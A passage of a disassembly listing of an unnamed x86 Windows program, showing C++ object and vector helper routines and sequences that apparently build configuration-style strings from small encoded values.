		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Fh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+0FA3h]
		mov	byte ptr [esp+388h], 30h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+98h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		mov	byte ptr [esp+394h], 31h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+80h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 32h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F5Ah]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 33h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+90h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3DCh], 34h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 35h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+0E7Fh]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 36h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+218h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+88h]
		push	13h
		push	edx
		mov	byte ptr [esp+3D4h], 37h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 38h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0F11h]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 39h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		mov	byte ptr [esp+388h], 3Ah
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+84h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Bh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+107Eh]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Ch
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	eax, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	eax
		mov	[esp+14h], edi
		call	sub_401A73
		lea	ecx, [esp+68h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 3Dh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 3Eh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1234h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 3Fh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+88h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D4h], 40h
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 41h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+127Dh]
		mov	byte ptr [esp+388h], 42h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1B8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+370h], 43h
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+78h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 44h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+11EBh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+38Ch], 45h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1E8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+80h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3CCh], 46h
		call	sub_4019C4
		add	esp, 5Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 47h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+11A2h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 48h
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0C8h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	18h
		push	9
		push	6
		push	5
		push	12h
		push	10h
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+90h]
		push	13h
		push	eax
		mov	byte ptr [esp+3DCh], 49h
		call	sub_4019C4
		add	esp, 6Ch
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Ah
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edi, [esi+10C7h]
		mov	ecx, esi
		push	edi
		mov	byte ptr [esp+38Ch], 4Bh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+1A0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		mov	byte ptr [esp+370h], 4Ch
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	16h
		push	12h
		push	5
		push	13h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 4Dh
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1159h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 4Eh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Ch
		push	13h
		push	13h
		push	3Fh
		push	5
		push	13h
		push	15h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+84h]
		push	13h
		push	eax
		mov	byte ptr [esp+3D0h], 4Fh
		call	sub_4019C4
		add	esp, 60h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 50h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esi+12C6h]
		mov	byte ptr [esp+388h], 51h
		push	ecx
		mov	ecx, esi
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	edx, [esp+10h]
		mov	ecx, offset byte_4D834F
		push	edx
		mov	[esp+14h], edi
		call	sub_401A73
		push	offset byte_448F30
		push	offset word_4E8E5A
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+230h]
		call	sub_40142E
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_40142E
		push	56D2h
		push	539h
		mov	byte ptr [esp+360h], 53h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	eax, [esp+23Ch]
		push	offset dword_4447F4
		push	eax
		call	sub_40102D
		push	56D2h
		push	539h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	eax
		lea	ecx, [esp+280h]
		push	offset dword_4447F4
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+606h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+64Fh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+805h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+84Eh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+897h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+450h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+499h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+52Bh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+574h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+44h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+0B28h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+5Ch]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+8E0h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+278h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+3BEh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1E8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+407h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+260h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+5BDh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+188h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+698h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+158h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+72Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+128h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+6E1h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2C0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+773h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+2A8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+7BCh]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	offset word_4E8E5A
		call	sub_4014D3
		lea	ecx, [esi+251h]
		push	ecx
		mov	ecx, esi
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+1A0h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+29Ah]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+170h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+2E3h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+0F8h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+32Ch]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+248h]
		mov	ecx, esp
		mov	[esp+24h], esp
		push	edx
		call	sub_4014D3
		lea	eax, [esi+375h]
		mov	ecx, esi
		push	eax
		call	sub_401B40
; ---------------------------------------------------------------------------
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		call	sub_4017EE
		push	eax
		push	offset byte_4493ED
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1B6h
		call	sub_4017EE
		push	eax
		push	offset dword_4493A4
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		call	sub_4017EE
		push	eax
		push	offset dword_449280
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		call	sub_4017EE
		push	eax
		push	offset word_449312
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 0DBh
		call	sub_4017EE
		push	eax
		push	offset byte_4492C9
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 92h
		call	sub_4017EE
		push	eax
		push	offset byte_44935B
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		push	0
		mov	ecx, offset byte_4D834F
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		call	sub_4017EE
		push	eax
		push	offset byte_44947F
		mov	ecx, offset word_44ACD6
		call	sub_4015A0
		lea	ecx, [esp+200h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+370h], 54h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+388h], 55h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0A4h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+3A0h], 56h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+0C0h], esp
		push	eax
		call	sub_401870
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+3B8h], 53h
		call	sub_40137F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+358h], 52h
		call	sub_401226
		lea	ecx, [esp+230h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+44h]
		mov	byte ptr [esp+358h], 1Dh
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	byte ptr [esp+358h], 1Ch
		call	sub_401226
		lea	ecx, [esp+110h]
		mov	byte ptr [esp+358h], 1Bh
		call	sub_401226
		lea	ecx, [esp+2C0h]
		mov	byte ptr [esp+358h], 1Ah
		call	sub_401226
		lea	ecx, [esp+2A8h]
		mov	byte ptr [esp+358h], 19h
		call	sub_401226
		lea	ecx, [esp+140h]
		mov	byte ptr [esp+358h], 18h
		call	sub_401226
		lea	ecx, [esp+290h]
		mov	byte ptr [esp+358h], 17h
		call	sub_401226
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+358h], 16h
		call	sub_401226
		lea	ecx, [esp+0E0h]
		mov	byte ptr [esp+358h], 15h
		call	sub_401226
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+358h], 14h
		call	sub_401226
		lea	ecx, [esp+218h]
		mov	byte ptr [esp+358h], 13h
		call	sub_401226
		lea	ecx, [esp+1D0h]
		mov	byte ptr [esp+358h], 12h
		call	sub_401226
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+358h], 11h
		call	sub_401226
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+358h], 10h
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+358h], 0Fh
		call	sub_401226
		lea	ecx, [esp+0F8h]
		mov	byte ptr [esp+358h], 0Eh
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+358h], 0Dh
		call	sub_401226
		lea	ecx, [esp+2F0h]
		mov	byte ptr [esp+358h], 0Ch
		call	sub_401226
		lea	ecx, [esp+320h]
		mov	byte ptr [esp+358h], 0Bh
		call	sub_401226
		lea	ecx, [esp+2D8h]
		mov	byte ptr [esp+358h], 0Ah
		call	sub_401226
		lea	ecx, [esp+308h]
		mov	byte ptr [esp+358h], 9
		call	sub_401226
		lea	ecx, [esp+338h]
		mov	byte ptr [esp+358h], 8
		call	sub_401226
		lea	ecx, [esp+0C8h]
		mov	byte ptr [esp+358h], 7
		call	sub_401226
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+358h], 6
		call	sub_401226
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+358h], 5
		call	sub_401226
		lea	ecx, [esp+68h]
		mov	byte ptr [esp+358h], 4
		call	sub_401226
		lea	ecx, [esp+0B0h]
		mov	byte ptr [esp+358h], 3
		call	sub_401226
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+358h], 2
		call	sub_401226
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+358h], 1
		call	sub_401226
		lea	ecx, [esp+80h]
		mov	byte ptr [esp+358h], 0
		call	sub_401226
		lea	ecx, [esp+98h]
		mov	dword ptr [esp+358h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+350h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 350h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 5E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_401474j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_401983
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_409548
		mov	ecx, esi
		call	sub_40191A
; ---------------------------------------------------------------------------


loc_409548:				; CODE XREF: sub_409530+Fj
		mov	ecx, esi
		call	sub_401A46
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_409530	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409570	proc near		; CODE XREF: sub_401A73j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40128A
		push	eax
		mov	ecx, esi
		call	sub_401695
		pop	esi
		retn	4
sub_409570	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095A0	proc near		; CODE XREF: sub_401A46j
		mov	eax, [ecx+4]
		retn
sub_4095A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_40128Aj
		mov	eax, [ecx+8]
		retn
sub_4095C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4095E0	proc near		; CODE XREF: sub_401983j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_4095EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4095EA:				; CODE XREF: sub_4095E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_4095E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409610	proc near		; CODE XREF: sub_401695j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401A46
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_401BAE
		mov	ecx, edi
		call	sub_401A46
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_409610	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409660	proc near		; CODE XREF: sub_40191Aj

var_40		= byte ptr -40h
var_39		= byte ptr -39h
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_C		= dword	ptr -0Ch

		push	0FFFFFFFFh
		push	offset SEH_409660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3Ch+var_39]
		lea	ecx, [esp+3Ch+var_38]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+44h+var_40]
		mov	[esp+44h+var_C], 0
		push	ecx
		lea	ecx, [esp+48h+var_30]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+48h+var_34]
		push	offset dword_440088
		push	edx
		call	sub_437B22
sub_409660	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_401BAEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_4097AB
		mov	ecx, esi
		call	sub_401983
		cmp	edi, eax
		jnb	short loc_409713
		mov	ecx, esi
		call	sub_401983
		mov	ebp, eax
		jmp	short loc_409715
; ---------------------------------------------------------------------------


loc_409713:				; CODE XREF: sub_4096E0+26j
		mov	ebp, edi


loc_409715:				; CODE XREF: sub_4096E0+31j
		mov	ecx, esi
		call	sub_401983
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401CC1
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4016E0
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401177
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4016E0
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
